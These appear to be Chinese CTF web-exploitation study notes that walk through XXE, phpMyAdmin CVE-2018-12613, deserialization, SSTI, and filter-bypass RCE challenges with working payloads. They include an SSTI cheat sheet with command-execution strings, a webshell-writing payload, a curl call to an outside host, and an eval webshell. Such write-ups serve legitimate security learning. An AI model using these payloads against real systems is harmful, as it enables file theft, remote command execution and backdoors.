web_week4
week4
XXE注入
[NCTF2019]Fake XML cookbook
考点:
xxe漏洞
知识点:
漏洞原理:
发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。
(我们可以通过Entity引入外部实体向外部发起请求,因为可控所以存在漏洞)
(PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。)
解题过程:
step1:
打开看到一个登录界面,查看源码我们看到了登录界面的逻辑代码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
step2:注入点
看到我们在登录界面输入的账号密码会被处理成xml数据在url/doLogin.php页面再去进行验证,于是可以进行xml注入,用POST
构造payload:
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///flag">
(实体admin会被解析器替换为file:///flag,它将尝试读取file:///flag所指向的文件,并将其内容插入到<username>标签的位置。)
]>
<user><username>&admin;</username><password>123</password></user>
抓包POST传进去,就可以拿到flag
phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
[GWCTF 2019]我有一个数据库
考点:
漏洞复现
知识点:
漏洞原理:
phpMyAdmin 是一套开源的、基于Web的MySQL数据库管理工具。在 4.8.2 之前的 phpMyAdmin 4.8.x 中发现了一个问题,其中攻击者可以在服务器上包含文件。该漏洞来自 phpMyAdmin 中重定向和加载页面的部分代码,以及对白名单页面的不当测试。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。
漏洞影响:
4.8.0 <= phpMyAdmin < 4.8.2
include $_REQUEST['target'];:
1.任意文件包含: 攻击者可以通过操控$_REQUEST['target']的值来指定任意文件路径,从而让服务器包含并执行服务器上的任何文件,包括但不限于配置文件、敏感信息文件或系统命令执行脚本。
2.远程文件包含: 如果$_REQUEST['target']的值被设置为一个URL,include函数还可能尝试从远程服务器包含文件,这可能导致数据泄露或执行远程服务器上的恶意代码。
3.代码注入: 攻击者可能通过这种方式向服务器注入恶意代码,从而获得对服务器的控制权。
解题过程:
step1:
在robots.txt看到phpinfo.php访问看到一些php信息
step2:
扫后台发现:
[10:26:33] 200 - 84KB - /phpinfo.php
[10:27:00] 200 - 20KB - /phpmyadmin/ChangeLog
[10:27:01] 200 - 1KB - /phpmyadmin/README
[10:27:03] 200 - 15KB - /phpmyadmin/doc/html/index.html
[10:27:04] 200 - 75KB - /phpmyadmin/index.php
[10:27:05] 200 - 75KB - /phpmyadmin/
[10:28:37] 200 - 36B - /robots.txt
访问/phpmyadmin/index.php是一个phpmyadmin界面
step2:
看源代码看到漏洞点:
在index.php里面:
if (! empty($_REQUEST['target'])//target不为空
&& is_string($_REQUEST['target'])//target是字符串
&& ! preg_match('/^index/', $_REQUEST['target'])//target不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//黑名单绕过
&& Core::checkPageValidity($['target'])//验证过checkPageValidity
) {
include $_REQUEST['target'];
exit;
}
他会对传入的target参数进行验证验证过了就执行 include $_REQUEST['target'];所以在这里可以进行读取任意文件的操作
去看checkPageValidity方法:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
这里大概就是说满足page参数是字符串并且满足下面三个任意一条就可以返回true,不然就是false
1.直接在$whitelist中。
2.在去除查询字符串后在$whitelist中。
3.在去除查询字符串并解码后在$whitelist中。
step3:
主要是得通过checkPageValidity又得在include $_REQUEST['target'];执行查看文件得操作
payload:?target=db_datadict.php%253f/../../../../../../../../flag
源码泄露
[BJDCTF2020]Mark loves cat
考点:
GitHack
exit不仅可以推出当前脚本,还可以输出
变量覆盖
解题过程:
step1:
扫了后台什么的看到git,猜测可能Git源码泄露,用GitHack跑一下,看了index.php,flag.php,打开index.php:
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
step2:
看到exit()可以输出里面的内容而且这里有$$变量覆盖漏洞,所以可以利用exit来输出flag变量的内容
step3:
这里可以有三种解法
1:利用exit($yds)
直接构造yds=flag就行,因为if(!isset($_GET['flag']) && !isset($_POST['flag']))直接不穿就进了
2:利用exit($handsome)
构造?handsome=flag&flag=a&a=b flag=a&a=b 满足if($_GET['flag'] === $x && $x !== 'flag')
3:利用exit($is)
/?is=flag&flag=flag
字符串逃逸
[安洵杯 2019]easy_serialize_php
考点
1.字符串逃逸
解题步骤
思路:
在phpinfo里面我们找到了d0g3_f1ag.php,要读取它
注意到'img'变量,要把它值变成d0g3_f1ag.php,他是在$_SESSION类里面的,这有个extract可以覆盖变量的值,但是直接改img的值是不行的,因为在后面的(if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
})里面对img又赋值了,赋值后这两个都不是我们想要的,而且在img这个位置上都不能读取出我们想要的
filter方法,可以把特定的内容替换为空
我们可以用字符串逃逸,把img放到function的位置上,就可以读取我们想要的;
过程:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//序列化之后使用filter方法
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));//这里有file_get_contents,可以通过它读取我们想要的文件
}
step2:
先对$_SESSION序列化
<?php
class a{
public $user="guest";
public $function="jsaK";
public $img="ZDBnM19mMWFnLnBocA==";//d0g3_f1ag.php的base64
}
echo serialize(new a);
?>
得到:
O:1:"a":3:{s:4:"user";s:5:"guest";s:8:"function";s:4:"jsaK";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们要这一块(s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";)到(s:8:"function";s:4:"jsaK")这个位置来
我们先把s:;3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}赋值给function;序列化后得到:
O:1:"a":3:{s:4:"user";s:5:"guest";s:8:"function";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
我们现在就要使用字符串逃逸把 ";s:8:"function";s:39: 变成user的值
数一下 ";s:8:"function";s:39: 有22位,利用filter的函数把user的值改为phpphpflagflagflagflag 这要原本user的值变成空,然后自动往后面读22位将 ";s:8:"function";s:39: 变成user的值,自然的,function的位置变成了img键及内容为ZDBnM19mMWFnLnBocA==;
O:1:"a":3:{s:4:"user";s:22:"phpphpflagflagflagflag";s:8:"function";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
注意到"a":3:就是说{}里面应该有三个键,但是在{}里面只有两个,我们要给他手动加一个s:1:"a";s:1:"a";
这样我们就能读取d0g3_f1ag.php的内容了
payload:
url/?f=get_image
POST _SESSION[user]=phpphpflagflagflagflag&_SESSION[funciton]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
传入之后回显
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
同样的我们去读取/d0g3_fllllllag,发现base64之后也是20位
payload:
POST
_SESSION[user]=phpphpflagflagflagflag&_SESSION[funciton]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
就可以拿到flag了
绕过
[WUSTCTF2020]朴实无华
知识点
1.使用科学计数法绕过intval($num) < 2020 && intval($num + 1) > 2021
2.$a==md5($a)
md5=0e215962017
解题步骤:
step1:收集信息,robots.txt
User-agent: *
Disallow: /fAke_f1agggg.php
访问之后再url/fAke_f1agggg.php的响应头里看到Look_at_me:/fl4g.php
访问之后得到源码:
step2:
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
step3:
payload:
/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls
/fl4g.php?num=2e5&md5=0e215962017&get_flag=tac$IFS$6fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
ssti模板注入
在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令
贴一个董姐的笔记:https://www.yuque.com/u41052087/wbs5gp/zvprevnbn24cxer7#amEn4
[BJDCTF2020]Cookie is so stable(Twig)
知识点
ssti:https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig
payload
smarty:
{if readfile('/flag')}{/if} smarty中的{if}标签中可以执行php语句
{$smarty.version} 返回版本信息
${smarty.template} 返回当前模板的文件名
使用{php}{/php}标签来执行被包裹其中的php指令 3.1版本已经废弃
{self::getStreamVariable(“file:///etc/passwd”)}
{literal}alert('xss');{/literal}
{literal}<script language="php">phpinfo();</script>{/literal} PHP 5.x
{system("id")} 最简单,枯燥的一个
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
{php}echo `id`;{/php}
twig:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter('cat /flag')}}
{{["id"]|map("system")|join(",")
{{["id", 0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0, 0]|reduce("system", "id")|join(",")}}
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{'/etc/passwd'|file_excerpt(-1,-1)}}
{{app.request.query.filter(0,'curl${IFS}x.x.x.x:8090',1024,{'options':'system'})}}
jinja2:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("whoami").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
解题过程:
step1:
在flag.php有输入框,测试之后发现不是sql,尝试模板注入
step2:
测试{{7*'7'}}回显49,确定是Twig
step3:
继续注入,尝试一些{{}}包着的命令之后,没回显,继续输入{{7*'7'}}submit后抓包看一下,发现注入点是在cookie的user里面
*step4:
/看的别人的payload,还不太清楚怎么来的 附上图片/
payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
[WesternCTF2018]shrine(Twig)
考点:
1.代码审计
2.ssti注入
解题过程:
step1:整理代码+审计
import flask
import os
app = flask.Flask(__name__)
# 从环境变量中取出FLAG并设置到应用的配置中
app.config['FLAG'] = os.environ.pop('FLAG', None) # 添加了默认值None,以防环境变量中不存在FLAG
@app.route('/')
def index():
# 返回当前文件的全部内容
return open(__file__).read()
@app.route('/shrine/<shrine>')
def shrine(shrine):
def safe_jinja(s):
# 移除字符串中的括号,因为括号在Jinja2模板中可能有特殊含义
s = s.replace('(', '').replace(')', '')
# 定义一个黑名单,包含不允许在模板中直接访问的变量名
blacklist = ['config', 'self']
# 构造一个Jinja2模板字符串,用于将黑名单中的变量设置为None
# 这可以防止模板执行时访问到不安全的变量
template_prefix = ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
# 返回处理后的模板字符串
return template_prefix + s
# 使用safe_jinja函数处理传入的shrine参数,并渲染为模板
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
step2:
是jinja2模板然后过滤了config,self,我们得去读配置文件
就利用{{url_for.__globals__}}这个去读一下全局变量读出来得去锁定我们要的,注意到它
app.config['FLAG'] = os.environ.pop('FLAG', None) 要去读取app.config
在里面搜素app看到current_app
payload:{{url_for.__globals__[current_app].config}}就可以了
RCE
[安洵杯 2019]easy_web
知识点
1.当遇到MD5强比较并且进行了string强转例如:(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
固定payload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
解题过程:
step1:
一打开注意到url上有cmd=,发现尝试在cmd上注入1/a之类的直接回显在源代码上,当注入ls等命令的时候则会回显是禁止的
step2:
找源代码,注意到url上有index.php,但是发现怎么都访问不进去,然后注意到有一个变量img=MzUzNTM1MmU3MDZlNjc=,经过两次base64解密一次hex解密之后得到555.png,注意到页面上有一个表情包,以及那个源代码里,有图片的base编码,所以可能更改img的值可能在源代码那块读到我们想要的
step3:
将index经过同样两次编码之后将它注入进去,在前端的那个页面看到了base64更新之后,在进行编码得到我们的源代码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixio= no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";//过滤了ls tac cat等重要命令
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;//MD5强比较加上强转换
} else {
echo ("md5 is funny ~");
}
}
?>
step3:
payload:
在bp上传,在hackbar里传会再经过一次编码
url/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=ca\t%20/flag
POST
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
反序列化
[MRCTF2020]Ezpop
考点
反序列化
解题过程
step1:
代码审计
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);//include函数可以想到文件包含漏洞
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
思路:
注意到Modifier里面有include,要想办法进入这里面,调用里面的invoke方法,invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
注意到_get里面有return $function()要想办法调用__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)
然后因为反序列化时候先调用_wakeup方法,以及show类里面有toString方法(在对象当做字符串的时候会被调用。)
所以可以可以另$this->source实例化show类就调用了_toString,然后令strT实例化test,Test里面不存在source属性,就直接调用_get方法
另p实例化为Modifier就进入了,_get方法把p当做函数使用就调用了_invoke
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
//pop链
$a=new show();
$a->source=new show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo urlencode(serialize($a));
payload:
url/?pop=O%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BO%3A4%3A"Show"%3A2%3A{s%3A6%3A"source"%3BN%3Bs%3A3%3A"str"%3BO%3A4%3A"Test"%3A1%3A{s%3A1%3A"p"%3BO%3A8%3A"Modifier"%3A1%3A{s%3A6%3A"%00*%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B}}}s%3A3%3A"str"%3BN%3B}
http
[MRCTF2020]PYWebsite
考点:
http:xff头
解题过程:
step1:
点击购买,二维码扫出来:
拜托!你不会真的想PY到flag吧,这样可是违规的!再好好分析一下界面代码吧
step2:
收集信息,在那个源代码看到 JavaScript Libraries 在js lib那个index里面看到/flag直接访问
看到了ip,想到更改更改ip
step3:
使用插件更改xff为127.0.0.1然后再源代码里拿到
/ps:这里尝试过用hackbar添加不能过/
RCE
[极客大挑战 2019]RCE ME
考点
1.取反绕过
知识点:
1.对于PHP,形如 `(func_name)()`,其中func_name可以是会执行这个func
2.取反之后会变成字符串
解题过程:
step1:代码审计
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);//可以命令执行
}
else{
highlight_file(__FILE__);
}
// ?>
因为这里过滤了所有的大小写和数字所以进行取反绕过在urlencode就可以绕过
取反脚本:
<?php
error_reporting(0);
$a='assert';//
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[aaa]))';//
$d=urlencode(~$c);
echo $d;
?>
step2:
要在这块传木马过程,(assert)(eval ($_post[aaa]))我们要把他取放放进去
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%9E%9E%A2%D6%D6);
用蚁剑连接上去了,但是在flag没有内容,有readflag这个文件,/readflag会有一个s权限 ,就是不能让你直接cat或者执行,需要绕过phpinfo里的disable_functions(别人的解释)
解法一:
所以可以用蚁剑一个插件去绕过
法二:利用 LD_PRELOAD 环境变量(弄明白在上传)